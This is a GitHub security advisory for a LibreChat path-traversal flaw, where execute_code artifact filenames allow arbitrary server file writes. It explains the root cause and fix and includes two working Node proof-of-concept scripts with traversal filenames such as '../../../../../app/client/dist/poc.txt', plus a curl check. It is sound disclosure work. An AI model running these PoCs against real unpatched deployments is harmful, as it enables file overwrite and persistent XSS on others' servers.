Skip to content

Arbitrary File Write via `execute_code` Artifact Filename Traversal

Moderate
danny-avila published GHSA-qrm5-r67f-6692 Apr 7, 2026

Package

No package listed

Affected versions

v0.8.3

Patched versions

v0.8.4

Description

LibreChat: Arbitrary File Write via execute_code Artifact Filename Traversal

Summary

LibreChat trusts the name field returned by the execute_code sandbox when persisting code-generated artifacts. On deployments using the default local file strategy, a malicious artifact filename containing traversal sequences (for example ../../../../../app/client/dist/poc.txt) is concatenated into the server-side destination path and written with fs.writeFileSync() without sanitization.

This gives any user who can trigger execute_code an arbitrary file write primitive as the LibreChat server user.

Affected Code

  • api/server/controllers/tools.js:195-209
  • api/server/services/Files/Code/process.js:72-209
  • api/server/services/Files/Local/crud.js:66-85

Root Cause

When execute_code returns artifact metadata, LibreChat forwards the untrusted file.name into processCodeOutput():

  • api/server/controllers/tools.js:196-209
    • Reads { id, name } from artifact.files
    • Passes name directly into processCodeOutput()

Inside processCodeOutput():

  • api/server/services/Files/Code/process.js:203-209
    • Builds const fileName = \${file_id}__${name}`;`
    • Passes it directly into saveBuffer(...)

For the default local storage backend:

  • api/server/services/Files/Local/crud.js:74-81
    • Builds directoryPath = path.join(uploads, userId)
    • Writes fs.writeFileSync(path.join(directoryPath, fileName), buffer)

Because fileName is not normalized or sanitized, traversal segments in name are honored by path.join().

Impact

  • Arbitrary file write as the LibreChat server user on deployments using local file storage
  • Write outside the per-user upload directory
  • Overwrite or create files under writable application paths
  • Same-origin web content write by targeting client/dist
  • Likely persistent XSS by overwriting a served HTML/JS asset with attacker-controlled content

Impact depends on writable paths and deployment layout, but the primitive is strong on the default local-storage setup.

Preconditions

  • execute_code is enabled for the attacker
  • LibreChat uses fileStrategy: local for artifact persistence
  • The attacker can cause the code sandbox to emit an artifact with an attacker-controlled filename and content

These preconditions are realistic:

  • the filename comes from the sandbox artifact metadata
  • the file content is attacker-controlled because it is the attacker’s generated output

Proof of Concept (step-by-step)

Test date: 2026-03-13

Environment:

  • LibreChat running with fileStrategy: local
  • Shared code backend configured:
    • LIBRECHAT_CODE_BASEURL=http://host.docker.internal:18081/v1
    • LIBRECHAT_CODE_API_KEY=test-shared-code-key
  • A code backend that returns bytes for /download/:session_id/:id

PoC 1: write outside uploads into /tmp

Run the following inside the LibreChat container:

podman exec -i LibreChat node - <<'NODE'
require('module-alias')({ base: '/app/api' });
const mongoose = require('mongoose');
const { processCodeOutput } = require('/app/api/server/services/Files/Code/process');

(async () => {
  process.env.LIBRECHAT_CODE_BASEURL = 'http://host.docker.internal:18081/v1';
  await mongoose.connect(process.env.MONGO_URI || 'mongodb://mongodb:27017/LibreChat');

  const req = {
    user: { id: '69b354a0f5bc45836e1ec3b9' },
    config: { fileStrategy: 'local', fileConfig: {}, imageOutputType: 'png' },
  };

  const res = await processCodeOutput({
    req,
    apiKey: 'test-shared-code-key',
    toolCallId: 'tc_poc',
    conversationId: 'conv_poc',
    messageId: 'msg_poc',
    session_id: '-_bUJIOPvKVYVOXWNAViS',
    id: 'aC7SlEPUH4WMpPBJALRcf',
    name: '../../../../../tmp/lc-owned.txt',
  });

  console.log(res.filepath);
  await mongoose.disconnect();
})();
NODE

Expected output:

/tmp/lc-owned.txt

PoC 2: write into the served frontend build directory

Repeat with:

podman exec -i LibreChat node - <<'NODE'
require('module-alias')({ base: '/app/api' });
const mongoose = require('mongoose');
const { processCodeOutput } = require('/app/api/server/services/Files/Code/process');

(async () => {
  process.env.LIBRECHAT_CODE_BASEURL = 'http://host.docker.internal:18081/v1';
  await mongoose.connect(process.env.MONGO_URI || 'mongodb://mongodb:27017/LibreChat');

  const req = {
    user: { id: '69b354a0f5bc45836e1ec3b9' },
    config: { fileStrategy: 'local', fileConfig: {}, imageOutputType: 'png' },
  };

  const res = await processCodeOutput({
    req,
    apiKey: 'test-shared-code-key',
    toolCallId: 'tc_poc',
    conversationId: 'conv_poc',
    messageId: 'msg_poc',
    session_id: '-_bUJIOPvKVYVOXWNAViS',
    id: 'aC7SlEPUH4WMpPBJALRcf',
    name: '../../../../../app/client/dist/poc.txt',
  });

  console.log(res.filepath);
  await mongoose.disconnect();
})();
NODE

Verify the file is served from the LibreChat origin:

curl -sS -D - http://127.0.0.1:3080/poc.txt | head -n 5

Expected:

HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8

This confirms a same-origin attacker-controlled file write into the served frontend tree.

Security Relevance

This is not just a metadata issue:

  • filename is attacker-controlled
  • artifact content is attacker-controlled
  • write happens on the server filesystem
  • traversal reaches outside the intended per-user upload directory

On a typical local-storage deployment, this is a high-severity arbitrary file write.

Suggested Fix

  • Treat artifact.files[].name as untrusted input
  • Sanitize with path.basename() before persistence, or reject any path separators
  • Enforce that the final resolved path stays within the intended storage directory
  • Add regression tests covering filenames such as:
    • ../../../../../tmp/poc.txt
    • ..\\..\\..\\..\\..\\tmp\\poc.txt
    • absolute paths
    • mixed separator variants

Notes

  • Image artifacts appear safer because image persistence goes through convertImage() with a server-generated filename (${file_id}${fileExt}), but non-image artifacts use the unsafe raw name.
  • Agent callback paths also reuse processCodeOutput(), so the issue is not limited to the standalone tool-call route.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N

CVE ID

CVE-2026-34371

Weaknesses

No CWEs

Credits